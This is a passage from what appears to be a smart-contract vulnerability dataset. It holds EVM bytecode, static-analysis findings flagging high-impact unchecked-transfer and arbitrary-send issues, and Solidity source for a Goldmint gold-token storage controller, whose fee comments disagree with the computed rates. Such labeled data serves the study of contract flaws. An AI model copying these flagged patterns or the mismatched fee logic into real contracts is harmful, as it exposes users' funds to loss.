0a02835260048301818152602484019586528f5160448501528f519197508f96509493506064909201919085019080838360005b83811015611af3578181015183820152602001611adb565b50505050905090810190601f168015611b205780820380516001836020036101000a031916815260200191505b509350505050600060405180830381600087803b158015611b4057600080fd5b505af1158015611b54573d6000803e3d6000fd5b50506000546040517f61737365742e757269000000000000000000000000000000000000000000000060208083019182528c51600160a060020a03909416955063abfdcced94508c93919260290191908401908083835b60208310611bca5780518252601f199092019160209182019101611bab565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040516020818303038152906040526040518082805190602001908083835b60208310611c2d5780518252601f199092019160209182019101611c0e565b5181516020939093036101000a60001901801990911692169190911790526040805191909301819003812063ffffffff871660e060020a028252600482015260016024820152915160448084019550600094509092839003019050818387803b158015611c9957600080fd5b505af1158015611cad573d6000803e3d6000fd5b5060019b9a5050505050505050505050565b60008060008060008060008060008060009054906101000a9004600160a060020a0316600160a060020a031663a855d4ce60405160200180807f706c6174666f726d2e6c697374696e674665650000000000000000000000000081525060130190506040516020818303038152906040526040518082805190602001908083835b60208310611d5f5780518252601f199092019160209182019101611d40565b51815160209384036101000a60001901801990921691161790526040805192909401829003822063ffffffff881660e060020a0283526004830152925160248083019650939450929083900301905081600087803b158015611dc057600080fd5b505af1158015611dd4573d6000803e3d6000fd5b505050506040513d6020811015611dea57600080fd5b5051600054604080517f706c6174666f726d2e6c697374696e67466565546f6b656e0000000000000000602082810191909152825180830360180181526038909201928390528151949c50600160a060020a03909316936304f49a3a939192918291908401908083835b60208310611e735780518252601f199092019160209182019101611e54565b51815160209384036101000a60001901801990921691161790526040805192909401829003822063ffffffff881660e060020a0283526004830152925160248083019650939450929083900301905081600087803b158015611ed457600080fd5b505af1158015611ee8573d6000803e3d6000fd5b505050506040513d6020811015611efe57600080fd5b5051600054604080517f706c6174666f726d2e77616c6c65742e66756e64730000000000000000000000602082810191909152825180830360150181526035909201928390528151949b50600160a060020a03909316936304f49a3a939192918291908401908083835b60208310611f875780518252601f199092019160209182019101611f68565b51815160209384036101000a60001901801990921691161790526040805192909401829003822063ffffffff881660e060020a0283526004830152925160248083019650939450929083900301905081600087803b158015611fe857600080fd5b505af1158015611ffc573d6000803e3d6000fd5b505050506040513d602081101561201257600080fd5b50519550600160a060020a038b81169088161461242857600160a060020a038b1673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee141561210b576002546040805160e060020a63cb3c28c7028152600160a060020a038e81166004830152602482018e90528a811660448301528981166064830152608482018c9052600060a4830181905260c4830152915130319650929091169163cb3c28c7918d9160e480830192602092919082900301818588803b1580156120d157600080fd5b505af11580156120e5573d6000803e3d6000fd5b50505050506040513d60208110156120fc57600080fd5b50513031840394509150612423565b50604080517f70a0823100000000000000000000000000000000000000000000000000000000815230600482015290518b91600160a060020a038316916370a08231916024808201926020929091908290030181600087803b15801561217057600080fd5b505af1158015612184573d6000803e3d6000fd5b505050506040513d602081101561219a57600080fd5b5051600254604080517f095ea7b3000000000000000000000000000000000000000000000000000000008152600160a060020a039283166004820152602481018e905290519295509083169163095ea7b3916044808201926020929091908290030181600087803b15801561220e57600080fd5b505af1158015612222573d6000803e3d6000fd5b505050506040513d602081101561223857600080fd5b5051151561224557600080fd5b6002546040805160e060020a63cb3c28c7028152600160a060020a038e81166004830152602482018e90528a811660448301528981166064830152608482018c9052600060a4830181905260c48301819052925193169263cb3c28c79260e480840193602093929083900390910190829087803b1580156122c557600080fd5b505af11580156122d9573d6000803e3d6000fd5b505050506040513d60208110156122ef57600080fd5b5051600254604080517f095ea7b3000000000000000000000000000000000000000000000000000000008152600160a060020a03928316600482015260006024820181905291519395509184169263095ea7b3926044808201936020939283900390910190829087803b15801561236557600080fd5b505af1158015612379573d6000803e3d6000fd5b505050506040513d602081101561238f57600080fd5b5050604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051600160a060020a038316916370a082319160248083019260209291908290030181600087803b1580156123f257600080fd5b505af1158015612406573d6000803e3d6000fd5b505050506040513d602081101561241c57600080fd5b5051830393505b61251e565b50604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a038781166004830152602482018a905291518c9283169163a9059cbb9160448083019260209291908290030181600087803b15801561249557600080fd5b505af11580156124a9573d6000803e3d6000fd5b505050506040513d60208110156124bf57600080fd5b50511515612517576040805160e560020a62461bcd02815260206004820152601460248201527f4c697374696e6720666565206e6f742070616964000000000000000000000000604482015290519081900360640190fd5b8793508791505b838a1015801561252e5750878210155b1515612584576040805160e560020a62461bcd02815260206004820152601460248201527f4c697374696e6720666565206e6f742070616964000000000000000000000000604482015290519081900360640190fd5b5050509095039695505050505050565b600080600080600087896040516020018083600160a060020a0316600160a060020a0316606060020a02815260140182600160a060020a0316600160a060020a0316606060020a028152601401925050506040516020818303038152906040526040518082805190602001908083835b602083106126235780518252601f199092019160209182019101612604565b51815160209384036101000a6000190180199092169116179052604080519290940182900382206000547f706c6174666f726d2e746f6b656e000000000000000000000000000000000000848401528551600e818603018152602e909401958690528351919a50600160a060020a031696506304f49a3a9550919392508291908401908083835b602083106126c95780518252601f1990920191602091820191016126aa565b51815160209384036101000a60001901801990921691161790526040805192909401829003822063ffffffff881660e060020a0283526004830152925160248083019650939450929083900301905081600087803b15801561272a57600080fd5b505af115801561273e573d6000803e3d6000fd5b505050506040513d602081101561275457600080fd5b50519150600160a060020a03878116908316146129d957600160a060020a03871673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee1415612861576002546040805160e060020a63cb3c28c7028152600160a060020a038a81166004830152602482018a905285811660448301523060648301527f80000000000000000000000000000000000000000000000000000000000000006084830152600060a4830181905260c48301529151919092169163cb3c28c791899160e48082019260209290919082900301818588803b15801561282d57600080fd5b505af1158015612841573d6000803e3d6000fd5b50505050506040513d602081101561285857600080fd5b505193506129d4565b50600254604080517f095ea7b3000000000000000000000000000000000000000000000000000000008152600160a060020a039283166004820152602481018890529051889283169163095ea7b39160448083019260209291908290030181600087803b1580156128d157600080fd5b505af11580156128e5573d6000803e3d6000fd5b505050506040513d60208110156128fb57600080fd5b5051151561290857600080fd5b6002546040805160e060020a63cb3c28c7028152600160a060020a038a81166004830152602482018a905285811660448301523060648301527f80000000000000000000000000000000000000000000000000000000000000006084830152600060a4830181905260c48301819052925193169263cb3c28c79260e480840193602093929083900390910190829087803b1580156129a557600080fd5b505af11580156129b9573d6000803e3d6000fd5b505050506040513d60208110156129cf57600080fd5b505193505b6129dd565b8593505b600054604080517f636f6e74726163740000000000000000000000000000000000000000000000006020808301919091527f457363726f7752657365727665000000000000000000000000000000000000006028830152825160158184030181526035909201928390528151600160a060020a038088169563a9059cbb959116936304f49a3a93909282918401908083835b60208310612a8e5780518252601f199092019160209182019101612a6f565b51815160209384036101000a60001901801990921691161790526040805192909401829003822063ffffffff881660e060020a0283526004830152925160248083019650939450929083900301905081600087803b158015612aef57600080fd5b505af1158015612b03573d6000803e3d6000fd5b505050506040513d6020811015612b1957600080fd5b50516040805160e060020a63ffffffff8516028152600160a060020a039092166004830152602482018890525160448083019260209291908290030181600087803b158015612b6757600080fd5b505af1158015612b7b573d6000803e3d6000fd5b505050506040513d6020811015612b9157600080fd5b50511515612b9e57600080fd5b600054604080517f61737365742e657363726f770000000000000000000000000000000000000000602080830191909152602c80830188905283518084039091018152604c909201928390528151600160a060020a039094169363e2a4853a93918291908401908083835b60208310612c285780518252601f199092019160209182019101612c09565b5181516020939093036101000a60001901801990911692169190911790526040805191909301819003812063ffffffff871660e060020a0282526004820152602481018b9052915160448084019550600094509092839003019050818387803b158015612c9457600080fd5b505af1158015612ca8573d6000803e3d6000fd5b5050600154604080517f0b94df4c000000000000000000000000000000000000000000000000000000008152600160a060020a038d81166024830152604482018990528e81166064830152608482018a905260a06004830152600d60a48301527f457363726f77206c6f636b65640000000000000000000000000000000000000060c48301529151919092169350630b94df4c925060e480830192600092919082900301818387803b158015612d5d57600080fd5b505af1158015612d71573d6000803e3d6000fd5b5060019c9b505050505050505050505050565b600082820183811015612d9357fe5b8091505b5092915050565b600080831515612db15760009150612d97565b50828202828482811515612dc157fe5b0414612d9357fe5b60008183811515612dd657fe5b049392505050565b600082821115612dea57fe5b50900390565b6000612e06612dff8484612d9e565b6064612dc9565b93925050505600a165627a7a72305820e65b10fcb8325352bd5bd330c847be52976519a3fa1945d4a5d4212401cbf0150029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
1,748
0xbcd0916ec879508312b1945fd8a51b3430a81921
pragma solidity ^0.4.19; contract IGold { function balanceOf(address _owner) constant returns (uint256); function issueTokens(address _who, uint _tokens); function burnTokens(address _who, uint _tokens); } // StdToken inheritance is commented, because no 'totalSupply' needed contract IMNTP { /*is StdToken */ function balanceOf(address _owner) constant returns (uint256); // Additional methods that MNTP contract provides function lockTransfer(bool _lock); function issueTokens(address _who, uint _tokens); function burnTokens(address _who, uint _tokens); } contract SafeMath { function safeAdd(uint a, uint b) internal returns (uint) { uint c = a + b; assert(c>=a && c>=b); return c; } function safeSub(uint a, uint b) internal returns (uint) { assert(b <= a); return a - b; } } contract CreatorEnabled { address public creator = 0x0; modifier onlyCreator() { require(msg.sender == creator); _; } function changeCreator(address _to) public onlyCreator { creator = _to; } } contract StringMover { function stringToBytes32(string s) constant returns(bytes32){ bytes32 out; assembly { out := mload(add(s, 32)) } return out; } function stringToBytes64(string s) constant returns(bytes32,bytes32){ bytes32 out; bytes32 out2; assembly { out := mload(add(s, 32)) out2 := mload(add(s, 64)) } return (out,out2); } function bytes32ToString(bytes32 x) constant returns (string) { bytes memory bytesString = new bytes(32); uint charCount = 0; for (uint j = 0; j < 32; j++) { byte char = byte(bytes32(uint(x) * 2 ** (8 * j))); if (char != 0) { bytesString[charCount] = char; charCount++; } } bytes memory bytesStringTrimmed = new bytes(charCount); for (j = 0; j < charCount; j++) { bytesStringTrimmed[j] = bytesString[j]; } return string(bytesStringTrimmed); } function bytes64ToString(bytes32 x, bytes32 y) constant returns (string) { bytes memory bytesString = new bytes(64); uint charCount = 0; for (uint j = 0; j < 32; j++) { byte char = byte(bytes32(uint(x) * 2 ** (8 * j))); if (char != 0) { bytesString[charCount] = char; charCount++; } } for (j = 0; j < 32; j++) { char = byte(bytes32(uint(y) * 2 ** (8 * j))); if (char != 0) { bytesString[charCount] = char; charCount++; } } bytes memory bytesStringTrimmed = new bytes(charCount); for (j = 0; j < charCount; j++) { bytesStringTrimmed[j] = bytesString[j]; } return string(bytesStringTrimmed); } } contract Storage is SafeMath, StringMover { function Storage() public { controllerAddress = msg.sender; } address public controllerAddress = 0x0; modifier onlyController() { require(msg.sender==controllerAddress); _; } function setControllerAddress(address _newController) onlyController { controllerAddress = _newController; } address public hotWalletAddress = 0x0; function setHotWalletAddress(address _address) onlyController { hotWalletAddress = _address; } // Fields - 1 mapping(uint => string) docs; uint public docCount = 0; // Fields - 2 mapping(string => mapping(uint => int)) fiatTxs; mapping(string => uint) fiatBalancesCents; mapping(string => uint) fiatTxCounts; uint fiatTxTotal = 0; // Fields - 3 mapping(string => mapping(uint => int)) goldTxs; mapping(string => uint) goldHotBalances; mapping(string => uint) goldTxCounts; uint goldTxTotal = 0; // Fields - 4 struct Request { address sender; string userId; string requestHash; bool buyRequest; // otherwise - sell // 0 - init // 1 - processed // 2 - cancelled uint8 state; } mapping (uint=>Request) requests; uint public requestsCount = 0; /////// function addDoc(string _ipfsDocLink) public onlyController returns(uint) { docs[docCount] = _ipfsDocLink; uint out = docCount; docCount++; return out; } function getDocCount() public constant returns (uint) { return docCount; } function getDocAsBytes64(uint _index) public constant returns (bytes32,bytes32) { require(_index < docCount); return stringToBytes64(docs[_index]); } function addFiatTransaction(string _userId, int _amountCents) public onlyController returns(uint) { require(0 != _amountCents); uint c = fiatTxCounts[_userId]; fiatTxs[_userId][c] = _amountCents; if (_amountCents > 0) { fiatBalancesCents[_userId] = safeAdd(fiatBalancesCents[_userId], uint(_amountCents)); } else { fiatBalancesCents[_userId] = safeSub(fiatBalancesCents[_userId], uint(-_amountCents)); } fiatTxCounts[_userId] = safeAdd(fiatTxCounts[_userId], 1); fiatTxTotal++; return c; } function getFiatTransactionsCount(string _userId) public constant returns (uint) { return fiatTxCounts[_userId]; } function getAllFiatTransactionsCount() public constant returns (uint) { return fiatTxTotal; } function getFiatTransaction(string _userId, uint _index) public constant returns(int) { require(_index < fiatTxCounts[_userId]); return fiatTxs[_userId][_index]; } function getUserFiatBalance(string _userId) public constant returns(uint) { return fiatBalancesCents[_userId]; } function addGoldTransaction(string _userId, int _amount) public onlyController returns(uint) { require(0 != _amount); uint c = goldTxCounts[_userId]; goldTxs[_userId][c] = _amount; if (_amount > 0) { goldHotBalances[_userId] = safeAdd(goldHotBalances[_userId], uint(_amount)); } else { goldHotBalances[_userId] = safeSub(goldHotBalances[_userId], uint(-_amount)); } goldTxCounts[_userId] = safeAdd(goldTxCounts[_userId], 1); goldTxTotal++; return c; } function getGoldTransactionsCount(string _userId) public constant returns (uint) { return goldTxCounts[_userId]; } function getAllGoldTransactionsCount() public constant returns (uint) { return goldTxTotal; } function getGoldTransaction(string _userId, uint _index) public constant returns(int) { require(_index < goldTxCounts[_userId]); return goldTxs[_userId][_index]; } function getUserHotGoldBalance(string _userId) public constant returns(uint) { return goldHotBalances[_userId]; } function addBuyTokensRequest(address _who, string _userId, string _requestHash) public onlyController returns(uint) { Request memory r; r.sender = _who; r.userId = _userId; r.requestHash = _requestHash; r.buyRequest = true; r.state = 0; requests[requestsCount] = r; uint out = requestsCount; requestsCount++; return out; } function addSellTokensRequest(address _who, string _userId, string _requestHash) onlyController returns(uint) { Request memory r; r.sender = _who; r.userId = _userId; r.requestHash = _requestHash; r.buyRequest = false; r.state = 0; requests[requestsCount] = r; uint out = requestsCount; requestsCount++; return out; } function getRequestsCount() public constant returns(uint) { return requestsCount; } function getRequest(uint _index) public constant returns( address a, bytes32 userId, bytes32 hashA, bytes32 hashB, bool buy, uint8 state) { require(_index < requestsCount); Request memory r = requests[_index]; bytes32 userBytes = stringToBytes32(r.userId); var (out1, out2) = stringToBytes64(r.requestHash); return (r.sender, userBytes, out1, out2, r.buyRequest, r.state); } function cancelRequest(uint _index) onlyController public { require(_index < requestsCount); require(0==requests[_index].state); requests[_index].state = 2; } function setRequestProcessed(uint _index) onlyController public { requests[_index].state = 1; } } contract GoldFiatFee is CreatorEnabled, StringMover { string gmUserId = ""; // Functions: function GoldFiatFee(string _gmUserId) { creator = msg.sender; gmUserId = _gmUserId; } function getGoldmintFeeAccount() public constant returns(bytes32) { bytes32 userBytes = stringToBytes32(gmUserId); return userBytes; } function setGoldmintFeeAccount(string _gmUserId) public onlyCreator { gmUserId = _gmUserId; } function calculateBuyGoldFee(uint _mntpBalance, uint _goldValue) public constant returns(uint) { return 0; } function calculateSellGoldFee(uint _mntpBalance, uint _goldValue) public constant returns(uint) { // If the sender holds 0 MNTP, then the transaction fee is 3% fiat, // If the sender holds at least 10 MNTP, then the transaction fee is 2% fiat, // If the sender holds at least 1000 MNTP, then the transaction fee is 1.5% fiat, // If the sender holds at least 10000 MNTP, then the transaction fee is 1% fiat, if (_mntpBalance >= (10000 * 1 ether)) { return (75 * _goldValue / 10000); } if (_mntpBalance >= (1000 * 1 ether)) { return (15 * _goldValue / 1000); } if (_mntpBalance >= (10 * 1 ether)) { return (25 * _goldValue / 1000); } // 3% return (3 * _goldValue / 100); } } contract IGoldFiatFee { function getGoldmintFeeAccount()public constant returns(bytes32); function calculateBuyGoldFee(uint _mntpBalance, uint _goldValue) public constant returns(uint); function calculateSellGoldFee(uint _mntpBalance, uint _goldValue) public constant returns(uint); } contract StorageController is SafeMath, CreatorEnabled, StringMover { Storage public stor; IMNTP public mntpToken; IGold public goldToken; IGoldFiatFee public fiatFee; event NewTokenBuyRequest(address indexed _from, string indexed _userId); event NewTokenSellRequest(address indexed _from, string indexed _userId); event RequestCancelled(uint indexed _reqId); event RequestProcessed(uint indexed _reqId); function StorageController(address _mntpContractAddress, address _goldContractAddress, address _storageAddress, address _fiatFeeContract) { creator = msg.sender; if (0 != _storageAddress) { // use existing storage stor = Storage(_storageAddress); } else { stor = new Storage(); } require(0x0!=_mntpContractAddress); require(0x0!=_goldContractAddress); require(0x0!=_fiatFeeContract); mntpToken = IMNTP(_mntpContractAddress); goldToken = IGold(_goldContractAddress); fiatFee = IGoldFiatFee(_fiatFeeContract); } // Only old controller can call setControllerAddress function changeController(address _newController) public onlyCreator { stor.setControllerAddress(_newController); } function setHotWalletAddress(address _hotWalletAddress) public onlyCreator { stor.setHotWalletAddress(_hotWalletAddress); } function getHotWalletAddress() public constant returns (address) { return stor.hotWalletAddress(); } function changeFiatFeeContract(address _newFiatFee) public onlyCreator { fiatFee = IGoldFiatFee(_newFiatFee); } // 1 function addDoc(string _ipfsDocLink) public onlyCreator returns(uint) { return stor.addDoc(_ipfsDocLink); } function getDocCount() public constant returns (uint) { return stor.docCount(); } function getDoc(uint _index) public constant returns (string) { var (x, y) = stor.getDocAsBytes64(_index); return bytes64ToString(x,y); } // 2 // _amountCents can be negative // returns index in user array function addFiatTransaction(string _userId, int _amountCents) public onlyCreator returns(uint) { return stor.addFiatTransaction(_userId, _amountCents); } function getFiatTransactionsCount(string _userId) public constant returns (uint) { return stor.getFiatTransactionsCount(_userId); } function getAllFiatTransactionsCount() public constant returns (uint) { return stor.getAllFiatTransactionsCount(); } function getFiatTransaction(string _userId, uint _index) public constant returns(int) { return stor.getFiatTransaction(_userId, _index); } function getUserFiatBalance(string _userId) public constant returns(uint) { return stor.getUserFiatBalance(_userId); } // 3 function addGoldTransaction(string _userId, int _amount) public onlyCreator returns(uint) { return stor.addGoldTransaction(_userId, _amount); } function getGoldTransactionsCount(string _userId) public constant returns (uint) { return stor.getGoldTransactionsCount(_userId); } function getAllGoldTransactionsCount() public constant returns (uint) { return stor.getAllGoldTransactionsCount(); } function getGoldTransaction(string _userId, uint _index) public constant returns(int) { return stor.getGoldTransaction(_userId, _index); } function getUserHotGoldBalance(string _userId) public constant returns(uint) { return stor.getUserHotGoldBalance(_userId); } // 4: function addBuyTokensRequest(string _userId, string _requestHash) public returns(uint) { NewTokenBuyRequest(msg.sender, _userId); return stor.addBuyTokensRequest(msg.sender, _userId, _requestHash); } function addSellTokensRequest(string _userId, string _requestHash) public returns(uint) { NewTokenSellRequest(msg.sender, _userId); return stor.addSellTokensRequest(msg.sender, _userId, _requestHash); } function getRequestsCount() public constant returns(uint) { return stor.getRequestsCount(); } function getRequest(uint _index) public constant returns(address, string, string, bool, uint8) { var (sender, userIdBytes, hashA, hashB, buy, state) = stor.getRequest(_index); string memory userId = bytes32ToString(userIdBytes); string memory hash = bytes64ToString(hashA, hashB); return (sender, userId, hash, buy, state); } function cancelRequest(uint _index) onlyCreator public { RequestCancelled(_index); stor.cancelRequest(_index); } function processRequest(uint _index, uint _amountCents, uint _centsPerGold) onlyCreator public { require(_index < getRequestsCount()); var (sender, userId, hash, isBuy, state) = getRequest(_index); require(0 == state); if (isBuy) { processBuyRequest(userId, sender, _amountCents, _centsPerGold); } else { processSellRequest(userId, sender, _amountCents, _centsPerGold); } // 3 - update state stor.setRequestProcessed(_index); // 4 - send event RequestProcessed(_index); } function processBuyRequest(string _userId, address _userAddress, uint _amountCents, uint _centsPerGold) internal { uint userFiatBalance = getUserFiatBalance(_userId); require(userFiatBalance > 0); if (_amountCents > userFiatBalance) { _amountCents = userFiatBalance; } uint userMntpBalance = mntpToken.balanceOf(_userAddress); uint fee = fiatFee.calculateBuyGoldFee(userMntpBalance, _amountCents); require(_amountCents > fee); // 1 - issue tokens minus fee uint amountMinusFee = _amountCents; if (fee > 0) { amountMinusFee = safeSub(_amountCents, fee); } require(amountMinusFee > 0); uint tokens = (uint(amountMinusFee) * 1 ether) / _centsPerGold; issueGoldTokens(_userAddress, tokens); // request from hot wallet if (isHotWallet(_userAddress)) { addGoldTransaction(_userId, int(tokens)); } // 2 - add fiat tx // negative for buy (total amount including fee!) addFiatTransaction(_userId, - int(_amountCents)); // 3 - send fee to Goldmint // positive for sell if (fee > 0) { string memory gmAccount = bytes32ToString(fiatFee.getGoldmintFeeAccount()); addFiatTransaction(gmAccount, int(fee)); } } function processSellRequest(string _userId, address _userAddress, uint _amountCents, uint _centsPerGold) internal { uint tokens = (uint(_amountCents) * 1 ether) / _centsPerGold; uint tokenBalance = goldToken.balanceOf(_userAddress); if (isHotWallet(_userAddress)) { tokenBalance = getUserHotGoldBalance(_userId); } if (tokenBalance < tokens) { tokens = tokenBalance; _amountCents = uint((tokens * _centsPerGold) / 1 ether); } burnGoldTokens(_userAddress, tokens); // request from hot wallet if (isHotWallet(_userAddress)) { addGoldTransaction(_userId, - int(tokens)); } // 2 - add fiat tx uint userMntpBalance = mntpToken.balanceOf(_userAddress); uint fee = fiatFee.calculateSellGoldFee(userMntpBalance, _amountCents); require(_amountCents > fee); uint amountMinusFee = _amountCents; if (fee > 0) { amountMinusFee = safeSub(_amountCents, fee); } require(amountMinusFee > 0); // positive for sell addFiatTransaction(_userId, int(amountMinusFee)); // 3 - send fee to Goldmint if (fee > 0) { string memory gmAccount = bytes32ToString(fiatFee.getGoldmintFeeAccount()); addFiatTransaction(gmAccount, int(fee)); } } //////// INTERNAL REQUESTS FROM HOT WALLET function processInternalRequest(string _userId, bool _isBuy, uint _amountCents, uint _centsPerGold) onlyCreator public { if (_isBuy) { processBuyRequest(_userId, getHotWalletAddress(), _amountCents, _centsPerGold); } else { processSellRequest(_userId, getHotWalletAddress(), _amountCents, _centsPerGold); } } function transferGoldFromHotWallet(address _to, uint _value, string _userId) onlyCreator public { uint balance = getUserHotGoldBalance(_userId); require(balance >= _value); goldToken.burnTokens(getHotWalletAddress(), _value); goldToken.issueTokens(_to, _value); addGoldTransaction(_userId, -int(_value)); } //////// function issueGoldTokens(address _userAddress, uint _tokenAmount) internal { require(0!=_tokenAmount); goldToken.issueTokens(_userAddress, _tokenAmount); } function burnGoldTokens(address _userAddress, uint _tokenAmount) internal { require(0!=_tokenAmount); goldToken.burnTokens(_userAddress, _tokenAmount); } function isHotWallet(address _address) internal returns(bool) { return _address == getHotWalletAddress(); } }
0x6060604052600436106101b7576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806302d05d3f146101bc5780631332143c14610211578063140d3e95146102825780631453d756146102bb5780631ad9f1901461036857806320bacfbd146103d957806322ad3b761461044a57806323b493fe1461049f5780632ba665e5146105105780632da5deb4146105ac5780633015394c146106605780633410452a146106835780633cebb823146106ac57806340b5886b146106e55780635dcbc01e1461073a5780635dd284e3146107ee57806363704e931461081757806374580e2f146108405780639201de551461087957806394002b57146109195780639aaa57501461096e5780639c2108eb146109e85780639e92dfd814610a6d578063a08c090814610ade578063a5917dea14610b58578063b28175c414610bd2578063c58343ef14610c27578063c6e000b514610d7a578063cfb5192814610dcf578063d331aeb314610e48578063d3a56ec314610e71578063e3d6ce2b14610ea6578063eb36f8e814610f20578063ebe09a9314610fa8578063fc1c218014611022575b600080fd5b34156101c757600080fd5b6101cf61105b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561021c57600080fd5b61026c600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611080565b6040518082815260200191505060405180910390f35b341561028d57600080fd5b6102b9600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506111a2565b005b34156102c657600080fd5b6102ed60048080356000191690602001909190803560001916906020019091905050611241565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561032d578082015181840152602081019050610312565b50505050905090810190601f16801561035a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561037357600080fd5b6103c3600480803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506114f1565b6040518082815260200191505060405180910390f35b34156103e457600080fd5b610434600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611613565b6040518082815260200191505060405180910390f35b341561045557600080fd5b61045d611790565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156104aa57600080fd5b6104fa600480803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506117b6565b6040518082815260200191505060405180910390f35b341561051b57600080fd5b61053160048080359060200190919050506118d8565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610571578082015181840152602081019050610556565b50505050905090810190601f16801561059e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156105b757600080fd5b61064a600480803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506119b3565b6040518082815260200191505060405180910390f35b341561066b57600080fd5b6106816004808035906020019091905050611c1d565b005b341561068e57600080fd5b610696611d4c565b6040518082815260200191505060405180910390f35b34156106b757600080fd5b6106e3600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611dfc565b005b34156106f057600080fd5b6106f8611f2a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561074557600080fd5b6107d8600480803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611fda565b6040518082815260200191505060405180910390f35b34156107f957600080fd5b610801612244565b6040518082815260200191505060405180910390f35b341561082257600080fd5b61082a6122f4565b6040518082815260200191505060405180910390f35b341561084b57600080fd5b610877600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506123a4565b005b341561088457600080fd5b61089e600480803560001916906020019091905050612442565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156108de5780820151818401526020810190506108c3565b50505050905090810190601f16801561090b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561092457600080fd5b61092c61262f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561097957600080fd5b6109d2600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091908035906020019091905050612655565b6040518082815260200191505060405180910390f35b34156109f357600080fd5b610a6b600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506127db565b005b3415610a7857600080fd5b610ac8600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612a1d565b6040518082815260200191505060405180910390f35b3415610ae957600080fd5b610b42600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091908035906020019091905050612b3f565b6040518082815260200191505060405180910390f35b3415610b6357600080fd5b610bd0600480803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919080351515906020019091908035906020019091908035906020019091905050612c6a565b005b3415610bdd57600080fd5b610be5612cfd565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3415610c3257600080fd5b610c486004808035906020019091905050612d23565b604051808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018060200180602001851515151581526020018460ff1660ff168152602001838103835287818151815260200191508051906020019080838360005b83811015610cd4578082015181840152602081019050610cb9565b50505050905090810190601f168015610d015780820380516001836020036101000a031916815260200191505b50838103825286818151815260200191508051906020019080838360005b83811015610d3a578082015181840152602081019050610d1f565b50505050905090810190601f168015610d675780820380516001836020036101000a031916815260200191505b5097505050505050505060405180910390f35b3415610d8557600080fd5b610d8d612e66565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3415610dda57600080fd5b610e2a600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612e8c565b60405180826000191660001916815260200191505060405180910390f35b3415610e5357600080fd5b610e5b612e9f565b6040518082815260200191505060405180910390f35b3415610e7c57600080fd5b610ea46004808035906020019091908035906020019091908035906020019091905050612f4f565b005b3415610eb157600080fd5b610f0a600480803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919080359060200190919050506130f8565b6040518082815260200191505060405180910390f35b3415610f2b57600080fd5b610f7b600480803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190505061327e565b60405180836000191660001916815260200182600019166000191681526020019250505060405180910390f35b3415610fb357600080fd5b61100c600480803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190803590602001909190505061329f565b6040518082815260200191505060405180910390f35b341561102d57600080fd5b611059600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506133ca565b005b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16631332143c836000604051602001526040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561113557808201518184015260208101905061111a565b50505050905090810190601f1680156111625780820380516001836020036101000a031916815260200191505b5092505050602060405180830381600087803b151561118057600080fd5b6102c65a03f1151561119157600080fd5b505050604051805190509050919050565b6000809054906101000a900473fffffffff